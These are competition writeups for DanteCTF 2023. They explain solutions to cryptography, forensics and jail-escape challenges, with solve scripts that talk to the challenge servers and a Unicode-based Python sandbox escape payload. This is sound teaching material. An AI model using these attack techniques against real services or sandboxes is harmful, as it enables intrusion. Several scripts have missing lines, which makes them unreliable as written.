DanteCTF 2023

Writeups for the first public edition of DanteCTF

Categories index
Crypto - Forensics - Misc - Pwn - Rev - Web


The original attachments to challenges are available on the following GitHub repo:



Adventurer’s Knapsack

For every good trip in the afterworld you need a good knapsack!
NOTE: flag must be inserted in DANTE{}

Author: GB1

We are provided with a sage source code:

from SECRET import flag, privk, m, n
from sage.numerical.knapsack import Superincreasing

assert L==176

assert Superincreasing(privk).is_superincreasing() == True

pubk= [(n*i)%m for i in privk]

for i in range(L):
    if flag_int & 2^(L-i-1) != 0:
        ct += pubk[i]


and the corresponding output, containing ct and pubk. The title of the challenge is a hint to point out the topic of the challenge, which is to attack a knapsack-based cryptosystem. These types of cryptosystems, in particular the Merkle-Hellman cryptosystem were some of the first public key cryptosystems. A simple but effective expalanation of them can be found here.

The challenge source simply build a Merkle Hellman knapsack cryptosystem using secret private parameters. To the user is given only the ciphertext and the public key. The ciphertext is obtained by adding the elements of the public key that corresponds to the bits equal to 1 in the flag. The subset sum problem is not solvable with bruteforce so there is something else to do.

It’s not difficult to find many attacks against knapsack-based cryptosystems in the literature and many of them are based on LLL. In particular one of the most well-known attacks is the low density attack. The density of a subset sum problem instance is computed as:

\[d = \frac{n}{log_2[max(pubk)]}\]

where n is the size of the public key.

The basic low density attack proposed by Lagarias and Odlyzko (LO algorithm) works against instances with density<0.6463. If we compute the density with the data of the challenge we obtain ~0.89 so the attack is not possibile (without modifying the used lattice a bit).

Despite this there is an improved version of the low density attack by Coster, Joux, LaMacchia, Odlyzko, Schnorr, and Stern (CJLOSS) that works with densities<0.9408.

The attack is to construct a matrix like the one in the figure, to which LLL is then applied.


One of the vectors of the matrix resulted from LLL correspond to to bits of the plaintext. More details about the low density attacks can be easily found in the literature and online.

from Cryptodome.Util.number import *

pubk= from_output

def rotate(l):
    return [l[-1]]+l[:-1]

# one of the papers describing the attack (there are many), "Bi, Jingguo, Xianmeng Meng, and Lidong Han. "Cryptanalysis of two knapsack public-key cryptosystems." Cryptology ePrint Archive (2009)."

base = [1]+[0]*179
N=15 # >sqrt(180)

# creating lattice matrix
for i in range(180):

for row in B:
    if all(abs(k) == 0.5 for k in row[:-1]):
        sol = row

sol = ''.join(['0' if j==1/2 else '1' for j in sol[:-5]])

The purpose of the challenge was to propose a simple attack to introduce people to LLL. Many participants gave me positive feedbacks about this challenge that has been greatly appreciated.

🏁 DANTE{kN4ps4ck_w_l0w_d3NS1ty}

DIY enc

I met a strange soul who claimed to have invented a more robust version of AES and dared me to break it. Could you help me?

Author: GB1

The challenge provide us the following source code:

#!/usr/bin/env python3

import os
from Crypto.Cipher import AES
from base64 import b64encode
from secret import FLAG

assert len(FLAG) == 19

if __name__ == '__main__':

    print('Encrypting flag...')
    key = os.urandom(16)
    nonce = os.urandom(15)
    cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)

    # longer ciphertext => safer ciphertext
    flag_enc = cipher.encrypt(FLAG*3).hex()
    print(f'Encrypted flag = {flag_enc}\n')

    print('You can choose only the length of the plaintext, but not the plaintext. You will not trick me :)')
    for i in range(7):
        length = int(input('> '))
        assert length > 3 and length < 100, "Invalid input"
        pt = b64encode(os.urandom(length))
        cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
        ct = cipher.encrypt(pt).hex()
        print(f'ct = {ct}')

In summary, the program give us the flag encrypted with AES-CTR and then allows us to encrypt random plaintexts whose length we control.

A few strange things can be noticed:

  • The plaintext is the flag repeated 3 times
  • The encryption is performed with AES-CTR mode but the key and the nonce are reused
  • The random plaintexts that are encrypted are base64 encoded before the encryption
  • Only 7 inputs are allowed

The key-nonce reuse is a clear vulnerability due to which the keystream generated by AES-CTR is always the same for each encryption. This can be exploited together with a known plaintext to recover the keystream and therefore recover the flag (

\[flag\_dec = flag\_enc \oplus keystream\]

The last step to solve the challenge is to notice that we actually have a known plaintext, that is the base64 padding. Controlling the plaintext length allow us to control the position of the padding ==, so we just need to move it to recover parts of the keystream.

Using the flag repetition and knowing its length (19) in the plaintext we just need 6 tries to decrypt. The following scheme helps to understand the concept (with a fake flag).

len=4  ->   ______==  ||  ||                              ||  ||  ||
len=7  ->   __________==  ||                              ||  ||  ||
len=10 ->   ______________==                              ||  ||  ||
len=34 ->   ______________________________________________==  ||  ||
len=37 ->   _________________________________________________==   ||
len=40 ->   ______________________________________________________==

In conclusion we just need 6 tries to recover the parts of the keystream that corresponds to the 12 unknown chars of the flag.

from base64 import b64decode, b64encode
from pwn import *


# get the printed ciphertext
r = remote('', 31511)
r.recvuntil(b"= ")
flag_enc = bytes.fromhex(r.recvline().strip().decode())

# send 4,7,10,13,34,37,40 and collect the ciphertext
cts = []
lengths = [4, 7, 10, 13, 34, 37, 40]
for l in lengths:
    r.sendlineafter(b'> ', str(l).encode())
    r.recvuntil(b"= ")

# Recover the flag
keystream = xor(b'DANTE{', flag_enc[:6])

for ct in cts[:4]:
    keystream += (xor(ct[-2:], b'=='))
    keystream += b'\x00\x00'

flag_dec = xor(keystream, flag_enc[:FLAG_LEN])

k = 8
for ct in cts[4:]:
    flag_bytes = xor(xor(ct[-2:], b'=='),
    flag_dec = flag_dec[:k]+flag_bytes+flag_dec[k+2:]
    k += 4


🏁 DANTE{l355_1S_m0R3}


Dante took many pictures of his journey to the afterlife. They contain many revelations.
I’ll give you one of these pictures if you’ll give me one of yours!

Author: lillo

The chall consists of a service that opens an PNG file containing the flag, encrypts it using a custom procedure, and sends us the image encoded in base64. Then, it asks us to upload a image, and gives us back an encrypted version still encoded in base64. The encryption procedure encrypt_image takes a random key and applies a substitution via xors and a permutation to each pixel of picture.

A crucial observation to solve the chall is that the service uses the same key to encrypt the image with the flag and the image we send. Therefore, the chall is vulnerable to chosen plaintext attack. We can follow the following steps to solve it:

  1. We craft an image with known pixels and make the service encrypt it (since the key is the same our image will be subjected to the same transformation of the flag);
  2. We use the encrypted version of our image to recover the substitution and permutation applied on the flag and invert them;
  3. We apply the recovered transformation to the encrypted flag, decrypting it.

The code implemeting the attack follows:

from pwn import *
from PIL import Image
from io import BytesIO
from base64 import b64encode, b64decode

context.log_level = 'debug'

p = remote("challs.dantectf.it", 31511)

def download_flag():
    p.sendlineafter(b'Do you accept the exchange [y/n]?', b'y')
    p.recvuntil(b'My picture:\n\n')
    data = p.recvuntil(b'\n\n').strip()

    with open("received-flag.png","wb") as f:

    return Image.open("received-flag.png")

def recover_changes(image, color):
    pixels = list(image.getdata())
    perms = []
    xors = []
    m = { color[0] : 0, color[0]^255: 0, color[1] : 1, color[1]^255: 1, color[2] : 2, color[2]^255: 2, }

    for i in range(len(pixels)):
        perm = (m[pixels[i][0]], m[pixels[i][1]], m[pixels[i][2]])
        perm = dict(zip(perm,range(3)))
        p = (pixels[i][perm[0]], pixels[i][perm[1]], pixels[i][perm[2]])
        rox = (0 if p[0] == color[0] else 255, 0 if p[1] == color[1] else 255, 0 if p[2] == color[2] else 255)

    return perms, xors

def recover_image(image, perms, xors):
    pixels = list(image.getdata())

    for i in range(len(pixels)):
        p = pixels[i]
        perm = perms[i]
        p = (p[perm[0]], p[perm[1]], p[perm[2]])
        p = (p[0] ^ xors[i][0], p[1] ^ xors[i][1], p[2] ^ xors[i][2])
        pixels[i] = p

    return image

def plaintext_attack(image):
    crafted_color = (10,20,30)
    crafted_image = Image.new(mode=image.mode, size=image.size, color=crafted_color)
    p.sendlineafter(b'Your picture:', b64encode(crafted_image.tobytes()))
    p.recvuntil(b'This is for you:\n\n')
    data = p.recvuntil(b'\n\n').strip()

    with open("crafted-image.png","wb") as f:

    crafted_image = Image.open("crafted-image.png")
    (perms, xors) = recover_changes(crafted_image, crafted_color)

    return recover_image(image, perms, xors)

flag = plaintext_attack(download_flag())

🏁 DANTE{Att4cks_t0_p1x3L_Encrypt3d_piCtUrES_511f0c49f8be}

Small Inscription

I came across a strange inscription on the gate that connects two circles, but I cannot read the last part. Can you help me?

Author: GB1

This challenge is a classic RSA (stereotyped message) challenge. We have a message that we know to which the flag is appended.

from secret import FLAG
from sage.all import random_prime
from Crypto.Util.number import bytes_to_long

assert len(FLAG) < 30

msg = bytes_to_long(b'There is something reeeally important you should know, the flag is'+FLAG)
N = random_prime(2**1024)*random_prime(2**1024)
e = 3

ct = pow(msg, e, N)

Since e is small and we know a big part of the plaintext we can apply the Coppersmith’s method to recover the flag. The message m has the form m = m' + x where m' is the known part and x is the flag. We can rewrite all as:

\[\displaylines{ c = m^e \quad mod N\\ c = (m'+x)^e \quad mod N\\ (m'+x)^e - c = 0 \quad mod N }\]

We can solve the last equation using coppersmith method. The solve script is written in sage so we can use the useful built-in function small_roots().

from Cryptodome.Util.number import long_to_bytes, bytes_to_long
from pwn import *


R.<x> = PolynomialRing(Zmod(N))
prefix=b'There is something reeeally important you should know, the flag is '
for i in range(30):
    m1 = bytes_to_long(prefix+b'\x00'*i)
    poly= (m1+x)**3 - ct
    if root:

🏁 DANTE{sM4ll_R00tzz}


Almost Perfect Remote Signing

<bzzt> I c4n’t re?d you <krrrt> Are_you a <zzzapt> beacon fAom 1200 <trtak> 0r smthing?

Author: synack

The attached file is an ~8 minute long WAV audio file containing a clear set of radio frequencies, with distinct breaks here and there suggesting that this is some kind of amplitude-based packet radio transmission:

spectrogram of the source file

Picking up the clue left by those bright yellow traces in the spectrogram and taking a closer look at the waveforms can reveal that this is indeed an AFSK (Audio frequency-shift keying) modulated signal. Thus piping the audio through something like multimon-ng or, better yet, direwolf, quickly spits out some demodulated APRS packets:

Dire Wolf version 1.6
Audio device for both receive and transmit: default  (channel 0)
Channel 0: 1200 baud, AFSK 1200 & 2200 Hz, E+, 44100 sample rate.

N0CALL audio level = 62(32/33)   [NONE]   |||||||__
[0.3] N0CALL>APN001:!4346.02N\01115.45EgHello flag! Pkt 0002/1080
Position, Gale Flags, Network nodes, digis, etc
N 43 46.0200, E 011 15.4500
Hello flag! Pkt 0002/1080

N0CALL audio level = 63(31/33)   [NONE]   |||||||__
[0.3] N0CALL>APN001:!4346.02N\01115.48EgHello flag! Pkt 0003/1080
Position, Gale Flags, Network nodes, digis, etc
N 43 46.0200, E 011 15.4800
Hello flag! Pkt 0003/1080

N0CALL audio level = 63(31/33)   [NONE]   |||||||__
[0.3] N0CALL>APN001:!4346.02N\01115.52EgHello flag! Pkt 0004/1080
Position, Gale Flags, Network nodes, digis, etc
N 43 46.0200, E 011 15.5200
Hello flag! Pkt 0004/1080


The format of these messages matches the Position Report section of the APRS protocol specs (page 42), in particular the “Lat/Long Position Report Format — without Timestamp” message.

APRS Position Report Format

Pages 33 and 34 of the same document explain how to properly decode those pesky seemingly-decimal coordinates, which instead are DMS coords:

Latitude/Longitude format 1 Latitude/Longitude format 2

On that same Wikipedia page and all over the web are the formulas for converting DMS coordinates to the more common decimal ones, enabling us to write our own little message decoder and plotter:

import matplotlib.pyplot as plt
import pandas as pd

def dms_to_deg(d, m, s, dir):
    direction = {'N': 1, 'S': -1, 'E': 1, 'W': -1}
    return (int(d)+int(m)/60.0+int(s)/3600.0) * direction[dir]

coords = []
with open('direwolf.out', 'r') as f:
    lines = f.readlines()
    for line in lines:
        if 'N0CALL>' in line:
            lat = line[line.index('!')+1:line.index("\\")]
            lon = line[line.index('\\')+1:line.index("g")]
            coord = [
                dms_to_deg(lat[0:2], lat[2:4], lat[5:7], lat[-1]),
                dms_to_deg(lon[0:3], lon[3:5], lon[6:8], lon[-1]),

df = pd.DataFrame(coords, columns=['lat', 'lon'])
plt.scatter(x=df['lon'], y=df['lat'])
plt.ylim([df['lat'].min() - 0.05, df['lat'].max() + 0.05])
plt.xlim([df['lon'].min() - 0.05, df['lon'].max() + 0.05])

Plotted coordinates

Honorable mentions to users KibeththeWalker, who almost got the flag but plotted lines instead of dots: KibeththeWalker's solution And ashiri, who used an online plotter that apparently didn’t like my data so much: ashiri's solution

Since depending on the decoding method used some packets may have been lost, here’s the source data in all its glory: source data And a little easter egg: ignoring precision/conversion errors, the flag actually originated from the House of Dante museum here in Florence: easter egg


Dirty Checkerboard

I bought a new chessboard but every time I use it I have this feeling… Like it’s dirty or something.

Author: synack

The attached image indeed had a speckle of “dirt” in the lower left corner of the square with coordinates B2 (any reference to the name of our team is purely coincidental):

the "dirty" spot

Since the image was grayscale those “digital” pixels in an “analogue” picture could be easily decoded as 1-byte values with a couple of lines of code:

from PIL import Image

offset = (359, 2031)

img = Image.open("DirtyCheckerboard.bmp")
for w in range(0, 15):
    for h in range(0, 10):
        coords = (offset[0] + w, offset[1] + h)
        print(chr(img.getpixel(coords)), end="")
jwilk showed us a nifty trick over at https://github.com/jwilk/abmagick, look out for injections if you use imagemagick! - DANTE{ch3ck_0ut_abmagick}

I saw a bunch of different solutions on the competition’s Discord server after the event ended: for example user C3TUS cropped the interesting area of the image, rotated it, and fed it through StegOnline: the interesting pixels being fed through StegOnline

🏁 DANTE{ch3ck_0ut_abmagick}

Do You Know GIF?

Ah, Dante! He appears in poems, videogames… He wrote about a lot of people but few have something meaningful to say about him nowadays.

Author: synack

The ominous ~14MB GIF attached to this challenge was actually among the first results when searching for “Dante” on Tenor, so you had two options here:

  1. Hope in a reverse image search, find the original GIF, and compare the hexdump of the two.
  2. Better yet, run it through strings or the more sophisticated exiftool.

As customary with this kind of challenges, there was no intended way to solve it so whatever got you to the flag was fine. For example let’s try the exiftool method:

$ exiftool -a dante.gif | grep Comment

Comment: Hey look, a comment!
Comment: These comments sure do look useful
Comment: I wonder what else I could do with them?
Comment: 44414e54457b673166355f
Comment: 3472335f6d3464335f6279
Comment: 5f626c30636b357d
Comment: At the edges of the map lies the void

Decoding those three blocks from hex to ASCII would have given you the flag. But why do that the boring way? Let’s pull out the actual GIF file format specification! In sections 12 to 16 you can learn how a GIF is actually made out of different blocks of data, and in section 24 you can learn about a special type of block called “Comment Extension”.

With that info making a little parser isn’t difficult:

import re
import binascii

comment_block_marker = b'0021fe'  # "00" is the end of a previous block and "21 FE" is the start of a comment block

with open("dante.gif", "rb") as f:
    # Read the GIF as literal hex (remember that 1 hex byte = 2 ascii chars here)
    hexdata = binascii.hexlify(f.read())

    # Find all comment blocks
    for match in re.finditer(comment_block_marker, hexdata):
        # Find the (ascii hex string) offset of the comment length byte
        length_offset = match.start() + len(comment_block_marker)
        # The actual comment starts at the next hex byte (two ascii chars)
        comment_offset = length_offset + 2

        # Parse the comment length byte (the next two ascii chars = 1 hex byte) and double its value since we are reading ascii offsets, not hex bytes
        comment_length = int(hexdata[length_offset:comment_offset], 16) * 2

        # Extract the comment data itself
        comment = hexdata[comment_offset:comment_offset + comment_length]
        decoded_comment = bytearray.fromhex(comment.decode("ascii")).decode()

        # If the comment's contents look like hex, decode them again
        if re.match(r'^[a-z0-9]+$', decoded_comment):
            decoded_comment += f" --> {bytearray.fromhex(decoded_comment).decode()}"

        # Decode and print the comment
        print(f'offset {match.start()} length {comment_length}:\t"{decoded_comment}"')
offset 337940 length 40:	"Hey look, a comment!"
offset 2672040 length 68:	"These comments sure do look useful"
offset 9736542 length 80:	"I wonder what else I could do with them?"
offset 15786384 length 44:	"44414e54457b673166355f --> DANTE{g1f5_"
offset 17808476 length 44:	"3472335f6d3464335f6279 --> 4r3_m4d3_by"
offset 21718496 length 32:	"5f626c30636b357d --> _bl0ck5}"
offset 26133830 length 74:	"At the edges of the map lies the void"

Yeah sure, exiftool could have done almost all of that for you, but where’s the fun in that? :D

🏁 DANTE{g1f5_4r3_m4d3_by_bl0ck5}

Imago Qualitatis

A wondrous electromagnetic wave was captured by a metal-stick-handed devil.
“But.. What? No, not this way. Maybe, if I turn around like this… Aha!”

Author: synack

If a player dared to download and decompress the ~800MB archive (I promise next time I’ll work harder to make it smaller, you’ll see in a bit why that wasn’t so easy), a file named gqrx_20230421_133330_433000000_1800000_fc.raw would have appeared.

The first word in the filename suggested that it had something to do with Gqrx SDR, “an open source software defined radio receiver (SDR) powered by the GNU Radio and the Qt graphical toolkit” created by Alexandru Csete (OZ9AEC ham radio callsign). The file was indeed a raw radio signal capture represented as IQ data, a way to store a signal’s characteristics way more accurate than just sampling its amplitude at predefined intervals. For the forensics aspect of this challenge, you can think of that as a tightly-packed binary structure of 32-bit floating point numbers (that’s why reducing the overall size of the capture isn’t easy and the risk of corrupting the whole file is fairly high when butchering it by hand).

Opening the file in Gqrx and playing it back (here’s a simple tutorial) actually revealed the flag. Minor pain point: you had to sit there and watch it scroll down in reverse :)

gqrx waterfall showing a portion of the flag

A special thanks to the other member of our team that helped me make this challenge a bit more realistic by helping me re-record the signal with another SDR as I was transmitting it with my HackRF and playing with the antenna orientations to introduce some noise and banding.

🏁 DANTE{n3w_w4v35_0ld_5ch00l}

Routes Mark The Spot

Aha, the little spirit says that the human became more ingenious! What a weird way to transmit something, though.

Author: synack

Like the previous forensics challenge, among the TLS-encrypted noise some widely spaces IPv6 packets stood out. Their payload seemed random or somehow encoded, but in truth they all matched the same format: [A-Za-z0-9]{64,128}:FLAG_CHAR:[A-Za-z0-9]{64,128}.

Thus by filtering the packets in that IPv6 “conversation” and extracting the characters between the colons, something that vaguely resembled a flag could be extracted:


The final step was indeed to reorder the packets basing on their flow label field, the only other difference that existed between them. Here’s an example of a an extraction script that does that:

import re
from scapy.all import Ether, IPv6, rdpcap

def filter_packet(pkt):
    return \
        IPv6 in pkt and \
        pkt[IPv6].src == "526c:54da:4326:f2fa:eb05:8f48:5bd8:e856" and \
        pkt[IPv6].dst == "7fa1:f44b:d702:3f7a:35db:de1d:1576:2799"

packets = rdpcap("RoutesMarkTheSpot.pcapng")
ipv6 = [p for p in packets if filter_packet(p)]
ipv6.sort(key=lambda pkt: pkt[IPv6].fl)  # Sort by Flow Label

flag = []
for pkt in ipv6:
    flow_label = pkt[IPv6].fl
    payload = pkt[IPv6].payload.load.decode('ascii')
    flag_char = re.search(':(.*):', payload).group(1)
    print(f"{pkt.summary()} ==> {flow_label} --> {payload} = '{flag_char}'")

print('\n' + ''.join(flag))
Ether / [...] > [...] / Raw ==> 0 --> niEmoDOq9oRAvpi5fY4UndN1ofA1I5GVi4eHjuxLCzEuIoxG2LgW4YOohBlFVPQHKfK6rq13Grcyx6x9ZYtrawcyFbvJ8:D:R0CgOtT1UkbJaR6OIJ5KW2bmHHMKcQm8hB2ZEW15Y0ZV7umS5IwGiMaImomOORDGqzRBggvyPN = 'D'

Ether / [...] > [...] / Raw ==> 1 --> 67ZvMEolTtKmTSOZldsxTGqI6oiXr2Y2zPsJhkhGgXSnEdEDZlcNZmBS0w3AgnSrM9vpYXPi0BlPsZyY:A:UYd7TVQ1Zh6yofJJXo35GrSq6qgfH5NG9E87v8M3eSnT4JruZTbHCbZ0qNaggvsFTs9k5vtUhgVq44u51dtvdCGJuwso9aIDeuYccGen6Opn8q1UrYk = 'A'


An honorable mention to 0x157 from team L3ak, who rebuilt the flag by hand and showed it on our Discord server after the competition ended: absolute madness

🏁 DANTE{l4b3l5_c4n_m34n_m4ny_7h1ngs}

Who Can Haz Flag

A little spirit spied on this mortal transmission. He noticed that the human was after something, but what was it?

Author: synack

Among the TLS-encrypted noise a little less than 30 ARP requests stood out. The peculiar thing about them was that they were all probes/requests for the same CIDR: The last octet of the requested address was the only thing that changed between those packets, and decoding it as an ASCII characted gave out the characters of the flag.

Here’s an example of an extraction script:

from ipaddress import ip_address, ip_network
from scapy.all import Ether, ARP, rdpcap

def filter_packet(pkt):
    return \
        ARP in pkt and \
        ip_address(pkt[ARP].pdst) in ip_network('')

packets = rdpcap("WhoCanHazFlag.pcapng")
arps = [p for p in packets if filter_packet(p)]

flag = []
for pkt in arps:
    ip_dst = pkt[ARP].pdst
    ip_last_octet = int(ip_dst.split('.')[3])
    flag_char = chr(ip_last_octet)
    print(f"{pkt.summary()} ==> {ip_dst} --> {ip_last_octet} = '{flag_char}'")

print('\n' + ''.join(flag))
Ether / ARP who has says ==> --> 68 = 'D'
Ether / ARP who has says ==> --> 65 = 'A'
Ether / ARP who has says ==> --> 78 = 'N'
Ether / ARP who has says ==> --> 84 = 'T'
Ether / ARP who has says ==> --> 69 = 'E'
Ether / ARP who has says ==> --> 123 = '{'
Ether / ARP who has says ==> --> 125 = '}'

🏁 DANTE{wh0_h4s_fl4g_ju5t_45k}


Demonic Navigation Skills

A friend told me that they are creating a new celestial network, way better than our Internet even though it is based on some long forgotten tech.
Do you have the skills to find the Holy Record? Start your search at gates.hell.dantectf.

Author: synack

The initials of the name of the challenge (DNS), its port ending with 53 and its protocol being udp were clear clues on how to proceed.

Querying the given DNS server with dig gave the following output:

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer gates.hell.dantectf

gates.hell.dantectf.	0	IN	SOA	beach.purgatory.dantectf. demonic.navigation.skills. 1234554321 86400 7200 4000000 11200

The little trickery with +noall +answer helps keeping dig’s noisy output at bay without having to resort to simplistic tools like nslookup, which gave troubles to some players due to its terse output.

At this stage, independently of the actual query submitted, the server always replies with a SOA record pointing to beach.purgatory.dantectf.

When making default A requests for that new domain we have just been pointed at, random data will be returned:

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer beach.purgatory.dantectf

beach.purgatory.dantectf. 0	IN	A
beach.purgatory.dantectf. 0	IN	CNAME	YZOdYRaO3x7C.purgatory.dantectf.

By recognizing that this data was always different with every request and looking back at the reply we got in the first stage, the SOA record clue could be followed instead. Making a query with that very same record type and the new target domain led to new information:

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer beach.purgatory.dantectf SOA

beach.purgatory.dantectf. 0	IN	SOA	skies.paradise.dantectf. demonic.navigation.skills. 1234554321 86400 7200 4000000 11200
beach.purgatory.dantectf. 0	CLASS9	SOA	skies.paradise.dantectf. demonic.navigation.skills. 1234554321 86400 7200 4000000 11200

Now we got two records! Let’s follow the same strategy with the first one:

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer skies.paradise.dantectf SOA

skies.paradise.dantectf. 0	CLASS9	TXT	"Are you Classy enough to be here?"

Hmm, looks like a dead end. But we can notice how both the second record above and this reply have a rather uncommon value of CLASS9 in the class field, which matches the hint we just received from the server. Let’s try the same request with the proper class value set:

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer -c CLASS9 skies.paradise.dantectf SOA

skies.paradise.dantectf. 0	CLASS9	CNAME	flag.paradise.dantectf.

Progress has been made! And finally, following the server’s suggestions once again…

$ dig @CHALLENGE_ADDR -p CHALLENGE_PORT +noall +answer -c CLASS9 flag.paradise.dantectf

flag.paradise.dantectf.	0	CLASS9	TXT	"DANTE{wh0_r3m3mb3r5_ch405n3t_4nd_h3s10d}"

For the records, the flag refers to Chaosnet and Hesiod, the only other two values commonly accepted in standard modern DNS systems.

🏁 DANTE{wh0_r3m3mb3r5_ch405n3t_4nd_h3s10d}

Flag Fabber

The modern times offer marvelous ways of bringing your projects to life. Well, in 1300 AD they didn’t really have mass manufacturing tools, so that’s not a fair comparison after all.

Author: synack

The attached ZIP file contained Gerber files, a format usually related to the manufacturing process of printed circuit boards:

├── flagfabber-B_Cu.gbl
├── flagfabber-B_Mask.gbs
├── flagfabber-B_Paste.gbp
├── flagfabber-B_Silkscreen.gbo
├── flagfabber-Edge_Cuts.gm1
├── flagfabber-F_Cu.gtl
├── flagfabber-F_Mask.gts
├── flagfabber-F_Paste.gtp
└── flagfabber-F_Silkscreen.gto

Opening the archive with KiCad’s gerbview or any other Gerber viewer of your choice revealed the flag on the bottom side of the PCB.

top and bottom view of the PCB

🏁 DANTE{pcb5_4r3_c00l}

Hanging Nose

Divine Comedy-themed Christmas tree baubles: that’s the future of the ornaments business, I’m telling you!

Author: synack

Using your favorite 3D modeling tool - be it Blender, Fusion 360, OpenSCAD, or even a 3D printing slicer - remove or slice a side of the bauble to reveal the flag.

Here’s an OpenSCAD example:

difference() {
    import("HangingNose.stl", convexity=3);
    translate([-50, -50, -50]) cube([100, 50, 100]);

peeking inside the bauble

🏁 DANTE{tr33_0rn4m3nt}


You cannot escape from hell and likewise you cannot escape from this jail. After all, what is the point of a jail if you can escape from it?

Author: GB1

This challenge is a classic pyjail in which some characters are blacklisted and you have to find a way to bypass them and get a shell.

#!/usr/bin/env python3

from string import ascii_letters

code = input('> ')

if any(c in ascii_letters for c in code):
    print('You will never leave this place!')
elif any(c in '.:;,-_@"=/%\\' for c in code):
    print('You will never reach this point, but still, you CANNOT leave!')

We are not allowed to use any letter and many symbols (.:;,-_@"=/%\).

The trick to overcome the first blacklist is to use italics text. In fact, letters in italics pass the first check because they are different from normal letters, but are interpreted as normal ascii in the exec.

To pass the second filter there are many solutions, the most simple one is to use exec(input()) to take another (unfiltered) user input that will then be executed. So the final payload is 𝘦𝘹𝘦𝘤(𝘪𝘯𝘱𝘶𝘵()), followed by something to read the flag.

🏁 DANTE{4b4nd0n_all_h0p3_y3_who_3nter}


I got hacked by a ransomware and it encrypted some important files. Some crypto analyst told me they were encrypted using AES CBC, but there is something strange in them which can probably be exploited. I don’t have enough money to give the job to proper crypto analysts, could you decrypt them for me please?

Author: Virgula

We have some random files, and from the description we know they’re a bunch of encrypted files. The description also says that there are some strange bytes contained in the files.

I’ll open a random file with okteta but of course you can use whatever hex editor you want.

file content in hex editor

You can notice that there is a readble string :CBC but it says nothing to us.

So let’s open another file with the same hex editor.

You can notice that even in this file, there is a :CBC string but in a different position.

What the challenges requires to do at this point is to underline the same bytes. These must hide something.

I’ll show it clearly with 2 windows with 2 different files opened:

diff between two files

We need to extract these bytes and in oketa we can do the following:

Right click on bytes -> Copy As -> C Array

Select unsigned char and export in clipboard.

Then, I open a python file , I paste the bytes and I change the c notation from :

const unsigned char array[53] = {
    0x5c, 0xf3, 0xc0, 0xf0,
    0x6f, 0xfb, 0x02, 0xfe,
    0xa3, 0x9b, 0x6d, 0xab,
    0xde, 0x28, 0x67, 0x20,
    0x9e, 0x96, 0x86, 0x34,
    0x63, 0xa4, 0xb7, 0x8b,
    0x55, 0xaa, 0x4d, 0x88,
    0xb0, 0x33, 0x81, 0x1e,
    0x3a, 0xba, 0x1b, 0x25,
    0x79, 0x44, 0xaf, 0xdf,
    0x4f, 0x62, 0x0b, 0x0f,
    0xe4, 0x7b, 0xa1, 0xb8,
    0x5c, 0x3a, 0x43, 0x42,


got = [
    0x5c, 0xf3, 0xc0, 0xf0,
    0x6f, 0xfb, 0x02, 0xfe,
    0xa3, 0x9b, 0x6d, 0xab,
    0xde, 0x28, 0x67, 0x20,
    0x9e, 0x96, 0x86, 0x34,
    0x63, 0xa4, 0xb7, 0x8b,
    0x55, 0xaa, 0x4d, 0x88,
    0xb0, 0x33, 0x81, 0x1e,
    0x3a, 0xba, 0x1b, 0x25,
    0x79, 0x44, 0xaf, 0xdf,
    0x4f, 0x62, 0x0b, 0x0f,
    0xe4, 0x7b, 0xa1, 0xb8,
    0x5c, 0x3a, 0x43, 0x42,

To check what kind of bytes we are facing we can do a simple


and we get this:

bytearray(b'\\\xf3\xc0\xf0o\xfb\x02\xfe\xa3\x9bm\xab\xde(g \x9e\x96\x864c\xa4\xb7\x8bU\xaaM\x88\xb03\x81\x1e:\xba\x1b%yD\xaf\xdfOb\x0b\x0f\xe4{\xa1\xb8\\:CBC')

We can notice some bytes separated with a : and our string :CBC from the description.

Let’s split the content by using : as separator:

>>> print(bytearray(got).split(b':'))

[bytearray(b'\\\xf3\xc0\xf0o\xfb\x02\xfe\xa3\x9bm\xab\xde(g \x9e\x96\x864c\xa4\xb7\x8bU\xaaM\x88\xb03\x81\x1e'), bytearray(b'\xba\x1b%yD\xaf\xdfOb\x0b\x0f\xe4{\xa1\xb8\\'), bytearray(b'CBC')]

We have 2 other elements before the CBC string. Let’s take a look at their length.



Since we know that in CBC the IV has the same size of the block size = 128 bits = 16bytes, by looking at arrayByte variable we notice what is the iv (which is the second element of the array). The third element is only a tag to help to understand that is AES CBC and that key and iv are separeted with a :. So for exclusion, the first element must be the key which in fact, it’s 32 bytes long and the size is AES 256 bit CBC compatible.

So the format of our strange bytes is:

key + ":" + iv + ":" + ":CBC"

We can build a python script which uses key and iv to decrypt each file but first, we must pop out these strange bytes from each file.

A script which does the work could be the following:

import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import re
import os

got = [
    0x5c, 0xf3, 0xc0, 0xf0,
    0x6f, 0xfb, 0x02, 0xfe,
    0xa3, 0x9b, 0x6d, 0xab,
    0xde, 0x28, 0x67, 0x20,
    0x9e, 0x96, 0x86, 0x34,
    0x63, 0xa4, 0xb7, 0x8b,
    0x55, 0xaa, 0x4d, 0x88,
    0xb0, 0x33, 0x81, 0x1e,
    0x3a, 0xba, 0x1b, 0x25,
    0x79, 0x44, 0xaf, 0xdf,
    0x4f, 0x62, 0x0b, 0x0f,
    0xe4, 0x7b, 0xa1, 0xb8,
    0x5c, 0x3a, 0x43, 0x42,

directory = "generated"

arrayByte = bytearray(got).split(b":")

# since we know that in CBC the IV has the same size of the block size = 128 bits = 16byte
# by looking at arrayByte variable we notice what is the iv (which is the second element of the array).
# the third oelement is only a tag to help to understand that is AES CBC and that key and iv are separeted with a :
# so for exclusion , the first element must be the key which in fact, it's 32 bytes long.

key = arrayByte[0]
iv = arrayByte[1]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)

for filename in os.listdir(directory):
    file = os.path.join(directory, filename)
    with open(file,"rb") as f:
        file_bytes = f.read()
        cleaned = re.sub(re.escape(bytes(bytearray(got))),b'',file_bytes) #popping out the strange bytes

        padded_data = pad(cleaned, AES.block_size)
        plaintext = cipher.decrypt(padded_data)

        if b"DANTE{" in plaintext:
            print("Flag found in file " + filename)
            flag = re.findall(b"DANTE\{.*\}",plaintext)
            print("FLAG: " + flag[0].decode())

🏁 DANTE{AHh9HhH0hH_ThAat_RAnsomware_maDe_m3_SaD_FFFFAAABBBBDDDD67}


